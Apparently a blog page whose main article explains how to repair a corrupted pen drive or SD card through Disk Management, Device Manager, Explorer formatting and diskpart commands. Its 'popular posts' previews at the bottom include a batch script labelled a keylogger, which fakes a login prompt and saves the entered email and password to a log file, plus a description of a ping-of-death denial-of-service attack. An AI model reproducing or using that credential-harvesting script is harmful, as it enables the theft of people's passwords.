Skip to main content

How to recover corrupted pen drivr or sdcard using cmd or explorer

In this article, I am going to tell you about various methods which will help you to repair your corrupted SD card or Pen drive. Very often we face this problem of a corrupted storage device and this guide will surely answer all your questions.

Dealing with a corrupted SD card or pen drive is a tedious task. We spend hours to get back our storage into working condition but get nothing. This article comprises of various methods which will help you repair your corrupted pen drive or SD card.

For SD card, you will have to insert it into the slot provided in your computer or by using a card reader. Use adapter if you have a microSD card. It will not work if you connect some device having the SD card like a smartphone or a camera. Check out these different methods.

Different methods to repair corrupted pen drive or SD card:

Change the drive letter

Sometimes your computer is unable to assign drive letters (like C, D, E) to your storage media. Due to this reason the files on it can’t be accessed. To resolve this issue, you can assign the drive letter to your device.

Here are the simple steps to fix the corrupted pen drive or memory card by assigning a correct drive letter:

Connect your storage media to your computer.Right Click on My Computer/ This PC. Click Manage in the drop down menu.Click Disk Management in the left side and wait for a few seconds so that Windows can load the Virtual disk service.Right Click on your storage media and click Change Drive Letter and Paths.Click the drive letter (it will turn blue) and click Change.Select the drive letter from the drop-down list. Click Ok.

Try to use it on another PC

Maybe the issue is specifically on your PC. Try connecting your SD card or pen drive to another computer. Hopefully, it may work and you’ll be able to backup your data from it.

Reinstall the drivers

There are times when the drivers that runs your pen drive get corrupted and our PC will not be able to detect your storage media. You can reinstall drivers by these simple steps:

Right click My Computer/ This PC. Click Manage.Click Device Manager on the left side.Double-Click Disk Drives in the list. Right Click on the name of your pen drive.Click Uninstall. Click Ok.Disconnect your storage media and restart your PC.Connect your pen drive again. Your PC will detect it.

Repair corrupted SD card or Pen Drive using Windows Explorer

This is the most commonly used procedure to repair a connected storage media to your computer.

Open My Computer or This PC.Select the corrupted drive and Right Click.Click Format in the drop down menu.Click Restore Device Defaults in the popup window.Click Start to begin the format process. You can uncheck the Quick format option if you want the computer to deep scan the drive/card for errors but this will take time. So, uncheck it only if you fail in the first attempt.Click Ok in the next dialog box which will warn you that the data will be lost. The format process will complete in a few moments and you will have your error free SD card or pen drive.

Repair corrupted Pen Drive or SD card using CMD

This process involves Windows command prompt which is commonly known as CMD. In this, you have to enter some CMD commands and Windows will forcefully format your corrupted pen drive/SD card.

Connect the corrupted pen drive or SD card to your computer.Hover your mouse on the Start button and Right Click.Click Command Prompt (Admin). A CMD window will open.Type diskpart and press Enter.Type list disk and press Enter. A list of all the storage devices connected to your computer will be displayed.Type select disk <the number of your disk> and press Enter. (Example: select disk 1). Important: Make sure you enter the number correctly. Otherwise, you may format your internal hard drive. You can type list disk again to check whether you are going correctly. There will be a star (asterisk symbol) before the name of the selected disk.Type clean and press Enter.Type create partition primary and hit Enter.Type active.Type select partition 1.Type format fs=fat32 and press Enter. The format process will finish in a few minutes. You can write ntfs instead of fat32 if you want to carry files larger than 4 gigabytes. Don’t close the CMD

Comments

Popular posts from this blog

Create a key logger using cmd

Here is a basic  keylogger  script for beginners to understand the basics of how keylogging works in notepad. This script should be used for research purposes only. @echo off color a title Login cls echo Please Enter Email Adress And Password echo. echo. cd "C:Logs" set /p user=Username: set /p pass=Password: echo Username="%user%" Password="%pass%" &gt;&gt; Log.txt start &gt;&gt;Program Here&lt;&lt; exit Step 1:  Now paste the above code into Notepad and save it as a  Logger.bat  file. Step 2:  Make a new folder on the desktop and name it Logs ( If the folder is not called Logs, then it will not work.) Step 3:  Drag that folder in to the  C: Step 4:  Test out the  Logger.bat ! Related  All-in-one Messenger - FacebookMessenger, WhatsApp, Skype and many more in one window Step 5:  Alright, now once you test it, you will go back into the Logs folder in the  C: and a  .txt  file w...

Perform cmd death attack

 A ping packet can also be malformed to perform denial of service attack by sending continuous ping packets to the target IP address. A continuous ping will cause buffer overflow at the target system and will cause the target system to crash.  We often use the CMD command “Ping” to mostly check if a server or a gateway is up and running. But, ping command can also be used for some other purposes. If we look at the basic level, then a ping packet is generally of size 56 bytes or 84 bytes (including IP header as well). However, a ping packet can also be made as large as up to 65536 bytes. Well, that’s the negative side of the ping packet. When we increase the size of the ping packet unnaturally, forming a malformed ping packet to attack a computer system, this type of attack is called “Ping of death” attack. How Ping of Death attack works? Not all computers can handle data larger than a fixed size. So, when a ping of death packet is sent f...

What is DNS

D NS stands for Domain Name System is used to as the medium to translate domain names to their respective IP addresses when a client initiates a request query. DNS stores the database of all the domain names and their IP addresses which are registered on the network. Most of us are quite familiar with the term DNS or Domain Name System. DNS can be thought of as an attendance register for various websites present over the internet. In the case of DNS, it maintains the database of all the websites Domain Names and their IP (Internet Protocol) addresses that are operational all over the world. Historical Notes The origins of DNS date back to the time of the ARPANET  when there were only a few computers to get an entry in the database. A HOSTS.TXT file was maintained by Stanford Research Institute, which constituted the data of all the machines, and was copied by all the host machines to remain updated. Jon Postel from the Information Sciences Institute requested Pau...